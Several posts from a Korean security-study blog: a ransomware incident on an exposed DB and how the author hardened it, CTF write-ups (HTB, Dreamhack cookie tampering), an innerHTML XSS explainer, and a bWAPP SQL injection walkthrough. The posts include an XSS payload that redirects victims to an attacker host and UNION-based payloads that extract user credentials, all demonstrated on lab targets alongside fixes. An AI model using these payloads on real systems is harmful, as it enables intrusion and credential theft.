전체 글 (16)

03
24

여러분 저 됐어요 

X 됐어요 쌰갈!!!

아니 요즘에 진행 중인 개인 프로젝트가 있어서 웹 사이트 구축이랑 DB 구축을 하고 있었는데

갑자기 컬럼 내 데이터들이 조회가 안 되기 시작함

뭐지? 내가 설정 잘못했나 싶어서 보니까 웬......................처음 보는 컬럼이 있는 거 아니겠어요

recover_your_data_info ㅇㅈㄹ

뭐지?함

눌러도 조회가 안 됨 

DB 배운지 얼마 안 됐고 DBbeaver? 도 쓴지 얼마 안 돼서 뭐지~ 내가 뭐 잘못했나 ㅎㅎ 하는데

read me 하

랜섬노트 이름 기본 포지션 아니겠어요 ㅋ......

여기서부터 쎄해짐 

https://www.youtube.com/watch?v=sA0lgNPorbQ

 

그래요

저 걸렸어요

랜섬웨어걸렸어요!!!!!!!!! 

이런 XX

dk아니진짜 구축하던거 마저할라고 켯는데 뭐하는짓인지 새벽부터

아개열받아 

디얼마담 이지랄 꺼져나아직처자야 

뭔.............

어이가없어서

중요한 데이터가 잇는 건 아니엇어서 걍 ㅋㅋ 하고 지우고 말았는데

생각해보니 자연산 연어가 펄떡펄떡 뛰면서 도마위에올라온격아닌가...싶어짐

그래서 해체쇼함 

내가 이걸 왜 걸렷는지, 대응 방안은 어떻게 되는지 알아보기로 함

그리고 제일 급한 거 : 혹시 RCE에 당했을 확률은? 싶어가지고 일단 그것부터 분석을 했는데 ... 공격 양상을 보니 봇으로 자동화 때리고 튄 것 같다고 제미나이가 알려줘서 크게 문제는 없겠구나 싶었어요

걸린 이유: DB 기본 포트 외부 접근 차단해야하는데 그걸 몰라서(진짜) 외부에 통신 가능하게 포트를 열어뒀어요 그래서 봇에 탐지 돼서 걸린 것 같음 

그래서 그냥 똥 밟았다 싶어가지고 root@% 계정 + 포트 열림부터 조치해줬어요

해당 계정은 외부에서도 최상위 권한으로 제 db에 접근할 수 있게 열린 계정이라고 알려줘서... 지워버림

그리고 root@local~만 남겨뒀어요 @local~은 내 로컬 컴퓨터만 접근 가능! 그리고 혹시 몰라 어려운 비밀번호도 걸어줬어요 

그리고 !! 가장 핵심이 되는 대응방안... 

"포트 닫기"

윈도우 탐색기 -> 방화벽 -> 고급설정 

인바운드 규칙 -> 오른쪽 마우스 클릭 -> 새규칙 

포트 -> 다음 

TCP -> 특정 로컬 포트 -> 3306, 1521, 1433 -> 다음

이러면 설정 끝~

진짜 내일 플젝 마감 치고 보고서 작성해서 보내줘야하는데 오밤중에 어이가 없어서

그래도 이걸 공부할 때 배운 게 어디야

면접 가서 썰로 써먹어야지 

COMMENT
 
03
18

아르바이트를 새로 시작했다 일도 그렇게 어려운 일이 아닌데... 일하다보니 체계가 너무 없는 것 같아서 인수인계서 작성을 제안하고 업무 체계 개편을 제안했더니 흔쾌히 받아주심 

근데 이제 내가 다작성해줘야하는, 

걍 닥치고 있을 걸 

에휴

아무튼 오늘은 opensecret이라는 문제를 풀었다

발급받은 사이트로 들어가면 메인 화면에 이런 화면이 뜨는데...

일단 뭐든 작성해서 submit ticket을 누르고 날려본다

그럼 세션 어쩌고 하면서 아무것도 날아가지 않는 걸 볼 수 있음

그래서 어쩔까, 고민을 하다가 F12 개발자모드로 코드를 까본다

뭐여?

주석 안에 jwt 토큰의 비밀키인 플래그가 존재한다; 

왜여깄지

아무튼 감사합니다

오늘도 한 건 해결 

COMMENT
 
03
11

오랜만에 포스팅한다... 참 많은 일이 있었다 회사랑 정규직 계약이 잘 안 돼서 험난한 인생을 살고 있다... 음...... 내 인생은 왜이렇게 꼬였을까 싶다가도 그래도 한강에 뛰어들 수는 없으니 공부는 계속 해야지 싶다... 

오늘 푼 문제의 제목은 “Flag Command”

타켓 호스트를 발급을 받고 해당 주소에 접속을 해준다

그럼 이렇게 텍스트 형식의 게임 화면이 뜨는데선택지를 준다근데 이걸 다 해본다고 답을 주는 형식은 아닐 것이기 때문에 무시한다

여기서 보통 패킷을 잡아볼 생각을 하는 그대는 일류

몇 개 없는데 그 마저도 별거 없다패킷 내용들을 확인해보다보면

“/api/options”의 응답 패킷이 심상치 않다일반적인 선택지들 뒤에 시크릿으로 어떠한 선택지를 숨기고 있다.

그래서 해당 선택지를 입력하면

답을 내준다.

여자가 당황했다.

이왜진

근데 뭔가 더 적어야할 것 같아서 일부러 돌아가보자면

채팅 게임 화면에서 페이지 소스 보기를 통해 해당 소스들 중 단서로 보이는 디렉터리들을 획득한다

그리고 url 창에 하나씩 입력해보면 /static/terminal/js/main.js 디렉터리에서 해당 코드를 볼 수 있다. /api/options 해당 api에서 옵션을을 보내달라는 요청을 보내고 있음을 확인할 수 있다.

그래서 해당 api의 요청값과 응답값을 살펴보면 응답값에서 해당 값을 확인할 수 있다.

그리고 그대로 입력하면 플래그 값이 나온다.

솔직히 날먹 같아서 풀이방식을 바꿔봤는데도 이것도 날먹같다

앞으로는 이렇게 쉬운 문제 나오면 두개씩은 풀어야겠다;;

'보안' 카테고리의 다른 글

[HTB] Opensecret 문제풀이  (0) 2026.03.18
[Webhacking] innerhtml을 사용하면 안 되는 이유  (0) 2026.02.18
[Webhacking] 드림핵 cookie 문제 풀이  (0) 2026.02.18
파일 확장자 종류 정리  (0) 2026.01.15
HTML이란 무엇인가  (4) 2025.11.27
COMMENT
 
02
18

서비스에서 XSS가 터졌다. 왜 터졌나... 고민을 좀 해보다가 F12로 살펴보다 뭔가 수상해보이는 해당 속성을 발견했다.

innerhtml? 이게 뭐지?

innerHTML은 요소(element) 내에 포함 된 HTML 또는 XML 마크업을 가져오거나 설정합니다.

말 그대로 HTML 내에서 속성이나 태그 등을 사용할 수 있도록 도와주는 속성이다. 예를 들면, <img src="주소"/> 해당 입력값을 입력하면 innerhtml이 입력값을 속성이나 태그로 입력 받고 실행을 시켜준다는 것이다. 그럼 여기서 위험한 점은 무엇이냐...

A 홈페이지를 운영하는 앨릭스가 있다. 외부에서 개발자에게 외주를 넣어 최근에 홈페이지를 구축을 완료했다. 그런데 외주 개발자가 해당 페이지를 innerhtml 속성으로 코딩을 해주었다. 그리고 여기서 앨릭스의 홈페이지를 이용하기 위해 들어온 해커 B가 있다. 심심해서 F12로 홈페이지 코드를 구경하다가, innerhtml을 발견했다. 군침이 싹 도는 해커 B는 당장 Q&A 게시판에 가서 아래 구문을 작성하기 시작한다.

<img src="x" onerror="location.href('https://badhacking.co.kr')"/>

그럼 어떤 일이 일어날까? 해당 사이트는 innerhtml 속성으로 태그나 속성들이 전부 정상 작동이 가능한 상태이니 해당 구문도 실행이 가능할 것이다. 그럼 여기서 구문을 좀더 바꿔본다면 여러가지 공격이 더 가능할 것이다.

과정을 좀 더 살펴보자면 이렇다

1. 해커의 공격 구문 입력 및 전달(요청)
2. 요청에 대한 서버의 응답
3. 클라이언트 JS에서 innerHTML 사용 (브라우저가 HTML 재파싱을 수행하면서 문자열 &lt를 <로 해석)
4. DOM 노드 생성 및 이벤트 핸들러 활성화
6. XSS 실행

그럼 앨릭스는 어떻게 해야할까? 가만히 앉아서 해킹 당한 상태로 알거지가 되어야할까?

아니다... 제대로 먹고 살고 싶으면 당장 일어나 개발자에게 찾아가 innerhtml은 xss에 취약한 속성이니 textContent를 사용해서 코드를 다시 짜달라고 이야기해야한다.

그럼 여기서 textcontent란?

요소(element)와 그 자손에 있는 텍스트 콘텐츠를 가져오거나 설정하며, HTML 태그나 속성은 해석하지 않는다.

한마디로 사용자 입력값으로 속성이나 태그가 들어오면 묻고 따지지도 않고 해석하는 innerhtml이랑 달리 해당 속성은 태그가 들어오든 이벤트 핸들러가 들어오든 text로만 해석한다는 뜻이다. 당연히 해커 B가 뭔짓을 해서 구문을 작성해도 실행 될 리가 전혀 없다는 뜻이다. 그러니 보안성도 좋다. 

글을 좀 간단히 쓴 면이 있긴 한데 읽으면서 궁금한 점이 있었다면 더 공부해보는 게 좋다. 

'보안' 카테고리의 다른 글

[HTB] Opensecret 문제풀이  (0) 2026.03.18
[HTB] 문제풀이 - Flag Command  (0) 2026.03.11
[Webhacking] 드림핵 cookie 문제 풀이  (0) 2026.02.18
파일 확장자 종류 정리  (0) 2026.01.15
HTML이란 무엇인가  (4) 2025.11.27
COMMENT
 
02
18

뉴비 컨설턴트... 입사한지 1달만에 기초도 없고 아무것도 모른다고 탈탈 털렸다... 잘하고 싶었는데 탈탈 털려서 슬펐다... 그래서 실력 증진을 위해 드림핵으로 다시 공부해보려고 한다 혼났다고 울기만 하면 아무것도 될 수 없다... 슬프지만 이게 현실이니까 

오늘 풀어볼 문제는 비기너 레벨의 cookie 문제다.

쿠키로 인증 상태를 관리하는 로그인 서비스란다... 사실 여기서부터 취약한 웹 사이트임을 알 수 있는 문제다. 시중의 서비스를 보면 알겠지만 보통 웹 사이트들은 로그인 등의 인증에 쿠키 하나만을 쓰지 않는다. 궁금하면 네*버나 다*이나 카*오 등의 홈페이지에 들어가서 패킷을 인터셉트 후 입력값을 보면 된다. (물론 공격은 하면 안 된다)  

네*버의 메인 홈페이지에서 새로고침 후 잡은 패킷 중 하나

쿠키란에 뭔가 많은 걸 볼 수 있다. (보안 컨설턴트로 취업 준비 중이라면 이런 값들을 많이 봐두길 바란다... 이게 뭘 나타내는지... 아니면 현장 나가서 이게 뭐지?하다가 혼남) 

아무튼 admin 계정으로 로그인에 성공하면 플래그를 획득할 수 있다고? 주어진 파일을 다운로드 받고 주어진 사이트에 접속을 해보자

사실 난 코드 까막눈이라 잘 모른다. 물론 이걸 다 읽을 수 있다면 문제 푸는데 너무 너무 좋긴 하겠지... 

특별히 눈에 띄는 부분은 

users = {
    'guest': 'guest',
    'admin': FLAG

해당 부분이다. 유추하건데 로그인 정보로 보인다. guest 계정은 ID/PW가 guest/guest 고 admin은 비밀번호를 알려주지 않는다... 일단 대입해보자

코드에 나온 정보로 주어진 사이트에 로그인하면 아래와 같이 뜬다.  

관리자는 아니지만 안녕은 한댄다... 나머지 메뉴에 뭔가 더 있을 것 같아 확인을 해보지만 별 다른 기능은 보이질 않는다!

그럼 여기서 어떻게 해야할까? 고민을 좀 해보다, 로그인 패킷을 잡아보기로 한다.

버프슈트를 키고 로그인 패킷을 잡아본다.  

값을 보아하니 ID와 PW가 평문으로 날아가고(이것도 취약점이긴하다) Cookie는 username=guest로 나와있음을 알 수 있다. 쿠키 외엔 다른 로그인 인증 방식을 사용하지 않는 듯 싶다~

그럼 여기서 변조 포인트는 어디일까? 고민을 해보다가 쿠키 문제니까 쿠키를 변조해보도록한다. 아까 admin이 아니라고 까였으니 admin을 넣어보자~

이렇게 값을 날리면

플래그 값이 나왔다

사실 해당 문제는 n년 전에 풀었던 문제인데 초심을 다 잡기 위해 다시금 풀어봤다... 그리고 이런 문제를 풀 때는 답을 찾는 게 장땡이가 아니라 어떤 포인트를 변조해야하고, 어떤 부분이 취약한지 계속 찾아가면서 풀어야하는 것 같다... 실무에서 도움이 되는 경우가 있다! 

'보안' 카테고리의 다른 글

[HTB] 문제풀이 - Flag Command  (0) 2026.03.11
[Webhacking] innerhtml을 사용하면 안 되는 이유  (0) 2026.02.18
파일 확장자 종류 정리  (0) 2026.01.15
HTML이란 무엇인가  (4) 2025.11.27
beebox로 웹 취약점 진단 5  (0) 2025.11.02
COMMENT
 
01
15

그 사이에 취업했다 폐급 되지 않으려고 열심히 하고 있다

일하다보면 진짜 온갖 확장자 파일이 다 날아온다;; 그래서 자주 보는 확장자 정리할건데... 처음 보는 확장자라 이게 뭔지 몰라서 민망했던 경험이 한 번 있다 여러분은 대충이라도 훑고 민망한 경험 없으시길... exe 이런 건 너무 당연한거라 자세하게 안 다룰거임

1. 시스템 실행 및 라이브러리 

확장자 설명
.exe / .com 윈도우 표준 실행 파일
.dll / .ocx 윈도우 동적 라이브러리
.sys / .drv 윈도우 시스템 드라이버
.elf 리눅스/유닉스 표준 실행 파일
.so 리눅스 공유 라이브러리 (Shared Object)
.o / .a 컴파일된 오브젝트 및 정적 라이브러리
.ko 리눅스 커널 모듈
.bin / .out 일반 바이너리 실행 파일
.msi / .msp 윈도우 설치 패키지 및 패치 파일
.cpl / .scr 제어판 항목 및 화면 보호기

msi와 exe의 차이점 = msi를 실행하기 위해서는 마이크로소프트 인스톨러가 필요함.(다만 윈도우에서는 해당 인스톨러를 기본적으로 제공한다) exe는 ms 인스톨러가 없어도 독립적으로 실행이 가능한 파일이다. 

출처 : https://change-words.tistory.com/entry/MSI-%ED%8C%8C%EC%9D%BC-EXE-%ED%8C%8C%EC%9D%BC-%EC%B0%A8%EC%9D%B4-%EA%B0%81%EA%B0%81%EC%9D%98-%EC%82%AC%EC%9A%A9-%EC%9D%B4%EC%9C%A0

 

MSI 파일, EXE 파일 차이 (각각의 사용 이유)

윈도우 PC에서 프로그램(소프트웨어)을 설치하는 방법은 일반적으로 두 가지입니다. .msi 파일을 실행하거나, .exe 파일을 실행하는 것입니다. 만약 A라는 프로그램 설치에 대해 SetupA.msi와 SetupA.exe

change-words.tistory.com

 

2. 인증서 및 암호화 관련

확장자 설명
.pem / .der Base64 또는 바이너리 형태의 범용 인증서
.key 암호화용 개인키
.crt / .cer 공개키 인증서
.p12 / .pfx 인증서 + 개인키 통합 보관함
.pub / .ssh SSH 공개키 및 관련 설정
.csr 인증서 발급 신청서
.gpg / .pgp PGP 암호화 데이터 또는 키
.asc / .sig 파일 무결성 확인용 디지털 서명
.p7b / .p7c 서명 및 체인 인증서 보관
.auth 인증 관련 데이터 파일

 

3. 설정 및 데이터 구조

확장자 설명
.yaml / .yml 클라우드/도커/쿠버네티스 설정 파일
.conf / .config 웹 서버(Nginx, Apache) 등 시스템 설정
.ini / .properties 어플리케이션 환경 설정 파일
.env 환경 변수 파일
.sql 데이터베이스 쿼리 및 덤프 데이터
.htaccess 아파치 웹 서버 접근 제어 설정
.bak / .old 백업 파일
.toml 프로젝트 설정 및 메타데이터 관리

 

4. 압축, 패키지 및 로그

확장자 설명
.tar / .gz / .tgz 리눅스 압축 및 아카이브
.rpm / .deb 리눅스 패키지 설치 파일
.war / .ear 자바 웹 어플리케이션 배포 패키지
.apk / .ipa 안드로이드 및 iOS 앱 설치 파일
.log 시스템 및 앱 활동 기록
.pcap / .cap 패킷 캡처 파일
.dmp / .dump 시스템 메모리 덤프

 

~도 같이 공부하면 좋아요 이런 댓글 환영

훈수 두면 차단함 

COMMENT
 
11
27

격조했다 그 이유는 공부를 안 한 것도 있지만 면접을 줄줄이 사탕처럼 처.떨어져서 우울했기 때문에...쌰갈

내가 왜 자꾸 처망하나 생각을 해봤는데 역시 기초가 부족해서 공부를 해도 이핼 못하고 자꾸 까먹지 않나 싶다

그래서 취업은 단념하고 그냥 기초부터 공부해보기로 했다 나이가 자꾸 걸리지만 아는 분이 3n살에도 비전공자가 컨설턴트로 갔다는 말이 있어서... 나도 해보려고 한다 

오늘은 웹 해킹의 기초인 HTML부터 공부를 해보려고 한다 HTML 다음은 CSS고 그 다음은 웹 서버다 

다 뒤 졌 다 죽 여 주 마

https://www.w3schools.com/html/html_intro.asp

 

W3Schools.com

W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more.

www.w3schools.com

서칭을 좀 하다가 찾은 사이트인데 HTML의 아주 기초부터 알려주더라... 이 글을 보고 있는 사람이 있을진 모르겠지만... 같이 보든가 말든가... 전부 영어라 번역해서 봐야한다 

 

HTML이란 무엇인가?

HTML은 '하이퍼텍스트 마크업 언어(HyperText Markup Language)'의 약자로, 웹 페이지의 구조와 콘텐츠를 정의하는 데 사용되는 언어다. 텍스트, 이미지, 링크 등을 태그로 감싸서 웹 브라우저에 표시할 웹 문서를 만들고 구조화한다.

예시

<!DOCTYPE html>
<html>
<head>
<title>Page Title</title>
</head>
<body>

<h1>My First Heading</h1>
<p>My first paragraph.</p>

</body>
</html>

예시의 산출물

여기서 주의깊게 볼 것은 각 문단마다 있는 태그들이다. <!DOCTYPE html>, <html>, <head>, <body>, <h1>,  <title>, <p> 등의 여러가지 태그들이 사용되었으나 먼저 알아볼 건 <!DOCTYPE html> 선언이다.

<!DOCTYPE html>는 가장 먼저 선언 되어야한다. 웹 브라우저는 해당 선언을 보고 문서의 버전을 판단한다. 이렇게 판단된 버전에 따라 웹 페이지를 올바르게 해석할 수 있도록 도와주는 역할을 한다. 참고로 버전마다 쓰는 방식이 다르다!

[출처] https://velog.io/@clydehan/HTML-DOCTYPE%EC%9D%B4%EB%9E%80

예시)

<!DOCTYPE html> //최신 버전의 html을 사용한다 
<html>
<head>
    <title>HTML5 Example</title>
</head>
<body>
    <h1>Hello, World!</h1>
</body>
</html>

<html>은 문서의 루트 요소를 정의할 때 사용한다. 브라우저에게 작성된 문서가 HTML 문서임을 알려준다.

예시)

<!DOCTYPE html>
<html lang="ko">
<head>
	<meta charset="UTF-8">
	<title>간결한 학습 페이지</title>
</head>
<body>
	<h1>안녕하세요!</h1>
	<p>이것은 HTML 문서의 가장 기본적인 뼈대입니다.</p>
</body>
</html>

<head>는 문서의 문자 인코딩, 타이틀, 설명, 스타일 시트, 스크립트 등 문서 정보에 관련된 다양한 요소들을 모아둔 태그다. 화면에 표시되지는 않지만, 브라우저, 검색 엔진 및 다른 웹 기술 등 기계적인 처리를 위한 정보들이다.

예시)

<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <title>가장 간결한 HTML</title>
</head>
<body>
    이것이 실제 웹 페이지 콘텐츠입니다.
</body>
</html>

<body>는 HTML 문서의 텍스트, 하이퍼링크, 이미지와 같은 모든 컨텐츠를 포함하는 영역을 정의할 때 사용한다.  

예시)

<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <title>Body 콘텐츠</title>
</head>
<body>
    <h1>환영합니다!</h1>
    <p>이것이 웹 페이지의 내용입니다.</p>
    <a href="#">링크</a>
</body>
</html>

<h1>는 HTML에 제목을 정의할 때 사용한다. <h1>부터<h6>까지 글자수가 점점 작아진다.

예시)

<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <title>H1 태그 사용 예시</title>
</head>
<body>
    <h1>이것은 페이지의 메인 제목입니다. (가장 크게 표시됨)</h1>
    
    <p>웹 페이지의 모든 콘텐츠는 이 메인 제목 아래에서 시작됩니다.</p>
</body>
</html>

<title>는  해당 문서의 제목을 정의할 때 사용한다. 주로 브라우저의 제목 표시줄이나 페이지 탭의 제목으로 사용된다.

예시) 

<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <title>HTML 학습 - Title 태그의 역할</title>
</head>
<body>
    <h1>이 내용은 화면에 보이지만, 위의 Title은 탭에만 보입니다.</h1>
    <p>Title 태그는 페이지의 주제를 명확하게 알려주는 중요한 메타데이터입니다.</p>
</body>
</html>

<p>는 문단을 정의할때 사용한다.

<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <title>P 태그 사용 예시</title>
</head>
<body>
    <h1>문서의 주요 제목</h1>
    
    <p>이것은 첫 번째 단락입니다. 단락은 브라우저에 표시되는 주된 텍스트 블록입니다. HTML은 콘텐츠의 구조를 정의합니다.</p>
    
    <p>두 번째 단락은 첫 번째 단락과 자동으로 구분됩니다. 브라우저는 단락 위아래에 약간의 공백(margin)을 추가하여 가독성을 높입니다.</p>
    
    <hr>
    
    <p>이처럼 `<p>` 태그는 텍스트를 논리적인 단위로 나누는 데 필수적입니다.</p>
</body>
</html>

'보안' 카테고리의 다른 글

[Webhacking] 드림핵 cookie 문제 풀이  (0) 2026.02.18
파일 확장자 종류 정리  (0) 2026.01.15
beebox로 웹 취약점 진단 5  (0) 2025.11.02
beebox로 웹 취약점 진단 4  (0) 2025.10.28
부적절한 이용자 인가 여부  (0) 2025.10.27
COMMENT
 
11
02
SQL DDL?

데이터베이스 테이블이나 관계의 구조를 생성하는데 사용, CREATE, ALTER, DROP,TRUNCATE 등 존재

  명령어 설명
생성 Create  새로운 데이터베이스 테이블 생성
수정 Alter 이미 존재하는 데이터베이스 개체에 대한 변경
삭제 Drop 이미 존재하는 데이터베이스 삭제
SQL DML?

데이터베이스 테이블 검색, 삽입, 수정, 삭제하는데 사용, SELECT, UPDATE, DELETE, INSERT 등 존재 

  명령어 설명
검색 SELECT 테이블 내부의 데이터를 조회
삽입 INSERT 테이블에 새로운 데이터 삽입
수정 UPDATE 테이블의 기존 데이터를 수정
삭제 DELETE 테이블의 데이터를 삭제
SQL 인젝션?

악의적인 SQL 코드를 삽입하고, 이를 통해 데이터베이스를 조작하거나 불법적으로 접근하는 공격 기법

종류

- Error based SQL Injection
SQL 쿼리에서 의도적으로 오류를 발생시켜 오류 메시지에 나타나는 정보를 통해 테이블명, 컬럼 구조, 데이터 내용 등 데이터베이스의 정보를 추측

- Union SQL Injection
UNION 명령어를 사용하여 원본 쿼리와 동일한 형태의 악성 쿼리를 추가하여, 사용자 정보, 로그인 계정, 시스템 정보 등을 탈취

‍- Blind SQL Injection
참/거짓 판단을 통해 데이터베이스 정보를 유추하는 공격 기법. 공격을 여러 번 반복해 데이터베이스 정보를 완전히 탈취

SQL 공격 순서  

'(싱글쿼터)나 |(파이프)로 취약 여부 확인 -> 유니온 구문으로 컬럼 수 추출 -> 컬럼 데이터형을 추출 -> 전체 테이블 목록 추출 -> 테이블의 컬럼명 추출 -> 탈취 

* 싱글쿼터를 하나만 작성하는 이유는 기존에 작성 되어있는 구문을 깨트려서 오류를 발생 시키기 위함. 두 개를 작성하면 구문이 깨지지 않고 올바르게 유지 되어 오류가 발생하지 않음.

출처

‍1. '를 입력하여 SQL 인젝션이 취약한지 확인

구문이 깨져서 오류 메시지를 출력하는 것을 알 수 있다

2. union 구문을 통해 컬럼 개수를 추측

총 7개가 있음을 알 수 있다
현재 데이터베이스의 이륾을 반환하는 함수를 2번째 위치에(database())로 삽입
구문을 응용해서 sql 정보와 현재 사용자 아이디, DB이름까지 출력 가능
관리자(admin) 비밀번호와 계정 이름까지 추출에 성공했다

단계 사용된 SQL 구문 (핵심 페이로드) 목적 추출된 결과 및 분석
1. 컬럼 개수 파악 UNION SELECT ALL 1,2,3,4,5,6,7# 원본 쿼리의 컬럼 개수 확인. 7개 컬럼 확인. 2, 3, 4, 5번째 컬럼이 웹페이지에 출력됨을 파악.
2. 데이터베이스 이름 추출 UNION SELECT ALL 1, database(), 3, 4, 5, 6, 7# 현재 연결된 데이터베이스 이름 확인. bWAPP 데이터베이스 이름 추출.
3. 테이블 목록 추출 UNION SELECT ALL 1, group_concat(table_name), 3, 4, 5, 6, 7 FROM information_schema.tables WHERE table_schema = 'bWAPP'# 데이터베이스 내에 존재하는 테이블 목록 확인. blog,heroes,movies,users,visitors 등 핵심 테이블 목록 확인. 목표 테이블: users.
4. 컬럼 이름 추출 UNION SELECT ALL 1, group_concat(column_name), 3, 4, 5, 6, 7 FROM information_schema.columns WHERE table_name = 'users' AND table_schema = 'bWAPP'# users 테이블에 저장된 컬럼 이름 확인. id,login,password,email,secret,activation_code,activated,reset_code,admin 등 민감 정보가 포함된 컬럼 확인.
5. 민감 데이터 추출 UNION SELECT ALL 1, group_concat(login, 0x3a, password, 0x3a, admin), 3, 4, 5, 6, 7 FROM users# login, password, admin 상태 정보를 함께 추출. A.I.M.:[해시]:1,bee:[해시]:1 결과 추출.
대응방안

-‍ 입력 값 필터링
사용자 입력을 허용된 패턴으로 제한하거나 위험한 문자를 제거하여 공격을 차단

- Prepared Statement 사용

SQL 쿼리와 사용자 입력 데이터를 분리하여 처리하는 Prepared Statement를 사용하여 데이터가 SQL 코드로 해석되는 것을 원천적으로 차단

'보안' 카테고리의 다른 글

파일 확장자 종류 정리  (0) 2026.01.15
HTML이란 무엇인가  (4) 2025.11.27
beebox로 웹 취약점 진단 4  (0) 2025.10.28
부적절한 이용자 인가 여부  (0) 2025.10.27
beebox로 웹 취약점 진단 3  (0) 2025.10.22
COMMENT
 
1 2